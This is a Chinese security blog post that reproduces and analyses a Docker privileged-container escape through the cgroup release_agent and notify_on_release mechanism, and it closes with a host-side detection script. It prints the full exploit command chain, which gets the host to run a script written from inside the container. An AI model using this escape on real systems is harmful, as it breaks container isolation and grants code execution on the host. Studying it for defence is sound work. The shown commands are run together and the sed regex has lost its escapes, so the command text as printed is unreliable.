一种Docker容器逃逸姿势的总结及分析

  • A+
所属分类:安全文章

背景

近期,结合实际工作和研究需要,参考文章[1],对 Docker 的特权容器逃逸,进行了复现和测试,希望通过此文记录复现过程,并结合理解对利用的 POC 代码进行了分析和整理。并针对类似的攻击,提出一种宿主机层面的简易检测方法。

特权容器privileged逃逸

当操作者以 privileged 特权模式运行容器时,Docker 将允许容器访问宿主机上的所有设备,文件等。通过挂载和 cgroup 等技巧,能够执行命令并获取宿主机信息。

系统环境信息

1.Hyper-V 管理器10.0.18362.12.Ubuntu 18.04 LTS:在Hyper-V中安装以虚拟机模式运行3.容器:ubuntu容器,tag为latest,且要将 --privileged 作为参数之一启动容器4.Docker 18.06.0-ce:Linux版本

复现先序条件

1.容器内运行账户要求为 root ;2.通过Linux运行容器时要求支持 SYS_ADMIN能够赋予容器极高权限操作的能力,细节请参考SYS_ADMIN讲解文章[2]);3.容器缺少 AppArmor内核强制访问控制工具) 配置文件,这样能够允许容器执行 syscall 系统调用;4.要求cgroup v1 文件系统必须以读和写的方式挂载入容器。

复现过程

1.给当前环境做一检查点(避免因奇奇怪怪的操作对环境造成的损害2.在宿主机上执行如下命令以启用一 ubuntu 容器:

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

一种Docker容器逃逸姿势的总结及分析   

3.在容器内部执行如下命令:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/cgrp/release_agentecho '#!/bin/sh' > /cmdecho "ps aux > $host_path/output" >> /cmdchmod a+x /cmdsh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"tail -n 5 /output

执行效果如下图所示,能够在/output中显示宿主机 ps aux 命令的结果信息信息:

一种Docker容器逃逸姿势的总结及分析

原理分析

1.创建目录,并挂载cgroup

为了触发该利用,我们需要一个能够创建release_agent文件且能够触发release_agent执行的cgroup(方法:通过kill该cgroup下的所有进程),最容易的方法就是挂载一个cgroup,并在该cgroup下创建一个子cgroup(x目录就是子cgroup

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

如果创建目录 /tmp/cgrp 成功,则执行 mount -t cgroup -o rdma cgroup /tmp/cgrp ,将 cgroup 直接以 cgroup 类型挂载至 /tmp/cgrp 目录下,挂载选项为 rdma,并在 /tmp/cgrp/ 中创建一个 x 目录(子 cgroup)。执行效果如下:

一种Docker容器逃逸姿势的总结及分析

2.激活子cgroup中的notify_on_release这一flag

通过激活x这一子cgroup的notify_on_release,使得在子cgroup退出时能够执行其父cgroup中的release_agent

echo 1 > /tmp/cgrp/x/notify_on_release

一种Docker容器逃逸姿势的总结及分析

当将 notify_on_release 被设置为1时,在child cgroup(此处为/tmp/cgrp/x)被移除时,内核将会运行顶层cgroup(/tmp/cgrp)下的release_agent文件中指定的命令

3.提取并设置release_agent脚本路径

希望cgroup执行/cmd中的脚本,可通过在容器内读取 /etc/mtab 获取到容器在宿主机上的路径

host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/cgrp/release_agent

sed的 -n 选项代表只显示匹配的行s/.*perdir=([^,]*).*/1/p为sed命令支持的的表达式, s/ 代表替换:将 .*perdir=([^,]*).* 匹配到的内容,替换为 1 ,而 1 代表的是.*perdir=([^,]*).*匹配到的第一个group内容/p 代表打印。匹配效果如下:

一种Docker容器逃逸姿势的总结及分析

上述指令获取的内容就是 uppdir= 后面跟随的路径,如上图最后一个命令输出结果所示。

echo "$host_path/cmd" > /tmp/cgrp/release_agent 将得到的路径后追加了一个 cmd 路径,并写入 release_agent 文件,经在容器内测试,该路径并不存在,如下图所示,根据理解,宿主机可通过该路径访问容器根目录:

一种Docker容器逃逸姿势的总结及分析

4.构建/cmd脚本

通过步骤三路径,以容器身份创建/cmd脚本,这时容器内也会有/cmd脚本,且该脚本会执行 ps aux,并将结果输出到宿主机索引到的容器路径/output下,输出的路径为宿主机的实际路径,且该/output在容器内也可被访问到(因为实际上对应于同一个文件,只是一个同宿主机访问,一个从容器访问)

echo '#!/bin/sh' > /cmd                   # 脚本解析器为/bin/shecho "ps aux > $host_path/output" >> /cmd # 将ps aux输出数据写入$host_path/output中

构建/cmd脚本的原因就是,为了让cgroup最后一个程序退出时能够执行/cmd内部的脚本。

5.为/cmd脚本加执行权限(+x)

chmod a+x /cmd

6.搞父进程的PID号,写入到cgroup任务中

通过在x子cgroup创建一个可以立即结束的进程,实施攻击:通过创建 /bin/sh 进程并将其PID 写入x子cgroup目录中的cgroup.procs文件,主机上的脚本/cmd将在/bin/sh退出后执行,通过执行 ps aux > $host_path/output ,可以在容器/output访问到结果。

sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"

一种Docker容器逃逸姿势的总结及分析

一个在宿主机中检测是否存在该脆弱点的简单脚本方法

#!/bin/bashdocker inspect $(docker ps -aq)|grep -q 'SYS_ADMIN'result1=$?docker inspect $(docker ps -aq)|grep -q 'apparmor=unconfined'result2=$?if [ $result1 -eq 0 ] || [ $result2 -eq 0 ];then    echo "Not good"else    echo "Seems ok!"fi

运行效果如下:

一种Docker容器逃逸姿势的总结及分析

知识点补充

SYS_ADMIN

如果不能以SYS_ADMIN启动docker容器,将无法使用mount操作,进而实施逃逸。

使用 man 手册,同样可以查到 SYS_ADMIN 所支持的命令权限,命令如下:

man 7 capalibities # 查询man7号手册中的capabilities

也可以直接访问man 7 capalibities[3]查看相关信息,通过查询发现,SYS_ADMIN 能够支持如下敏感的系统调用操作,尤其是 mount :

Perform a range of system administration operations including: quotactl(2), mount(2), umount(2), swapon(2), swapoff(2), sethostname(2), and setdomainname(2);

在启用 Docker 容器时,可通过如下参数为容器添加 SYS_ADMIN 权限:

--cap-add=SYS_ADMIN

AppArmor

根据Ubuntu wiki[4]给出的介绍, AppArmor 是Linux系统内核级的强制访问控制系统,通过将访问资源与程序绑定的方式提供访问控制这一安全功能。 AppArmor 安全策略能够完整的定义个别应用程序可以访问的系统资源及其可用的特权。

docker-default这一Docker默认使用的安全策略,即使容器确定以SYS_ADMIN启动时,同样也会强制禁止mount这类系统调用(毕竟在内核层面

在启用 Docker 容器时,可通过如下参数,不允许 Docker 使用默认的 AppArmor 策略:

--security-opt apparmor=unconfined # unconfined代表不限制

mount中使用的rdma选项

RDMA 是 Remote Direct Memory Access 的缩写:又名远程直接内存访问,为解决网络传输中服务器端数据处理的延迟而产生的。通过 rdma 选项进行 mount 挂载,能够获得 realtime 选项的支持,代表实时数据属性。

notify_on_release

如果使能(设置为1) notify_on_release 这个标志位,当cgroup中最后一个task离开的时候(task退出或者绑定到其他cgroup上)并且在最后child cgroup被移除时,内核将会运行顶层cgroup下的release_agent文件中指定的命令,并提供这个cgroup相对于挂载点的路径。通过设置该标志位允许自动移除被废弃的cgroup。在系统启动的时候,root cgroupnotify_on_release默认值为0。其他cgroup的值为在其继承父cgroup创建时,会集成继承父cgroupnotify_on_release设置。用最简单的话说就是:表示是否在cgroup中最后一个任务退出时通知运行release agent

样例:通过release_agent自动移除cgroup文件夹内文件

参照以下步骤,可将空 cgroup 从 cpu cgroup 中自动移除:

1.例如,创建一个 shell 脚本用来移除空 cpu cgroups,将其放入 /usr/local/bin,并使其可运行。

~]# cat /usr/local/bin/remove-empty-cpu-cgroup.sh#!/bin/shrmdir /cgroup/cpu/$1~]# chmod +x /usr/local/bin/remove-empty-cpu-cgroup.sh

$1 变量包含到达已清空 cgroup 的相对路径。

    2.在 cpu cgroup,启动 notify_on_release 标签:

~]# echo 1 > /cgroup/cpu/notify_on_release

    3.在 cpu cgroup 中,指定一个可用的释放代理("/usr/local/bin/remove-empty-cpu-cgroup.sh"):

~]# echo "/usr/local/bin/remove-empty-cpu-cgroup.sh" > /cgroup/cpu/release_agent

    4.测试您的配置,以确保已清空 cgroup 被正确移除:

cpu]# pwd; ls/cgroup/cpucgroup.event_control  cgroup.procs  cpu.cfs_period_us  cpu.cfs_quota_us  cpu.rt_period_us  cpu.rt_runtime_us  cpu.shares  cpu.stat  libvirt  notify_on_release  release_agent  taskscpu]# cat notify_on_release 1cpu]# cat release_agent /usr/local/bin/remove-empty-cpu-cgroup.sh # cgroup结束时要运行的代理cpu]# mkdir blue; lsblue  cgroup.event_control  cgroup.procs  cpu.cfs_period_us  cpu.cfs_quota_us  cpu.rt_period_us  cpu.rt_runtime_us  cpu.shares  cpu.stat  libvirt  notify_on_release  release_agent  taskscpu]# cat blue/notify_on_release 1cpu]# cgexec -g cpu:blue dd if=/dev/zero of=/dev/null bs=1024k &[1] 8623cpu]# cat blue/tasks 8623cpu]# kill -9 8623cpu]# lscgroup.event_control  cgroup.procs  cpu.cfs_period_us  cpu.cfs_quota_us  cpu.rt_period_us  cpu.rt_runtime_us  cpu.shares  cpu.stat  libvirt  notify_on_release  release_agent  tasks


为什么能够多次挂载cgroup

cgroup 控制器是全局资源,可以使用不同的权限多次挂载,并且一次挂载中所带来的变化也会影响其他的挂载。

References

[1] 文章: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
[2] SYS_ADMIN讲解文章: https://sq.163yun.com/blog/article/178222638887047168
[3] man 7 capalibities: https://linux.die.net/man/7/capabilities
[4] Ubuntu wiki: https://wiki.ubuntu.com/AppArmor

喜欢就请关注我们吧!

一种Docker容器逃逸姿势的总结及分析


本文始发于微信公众号(Pai Sec Team):一种Docker容器逃逸姿势的总结及分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: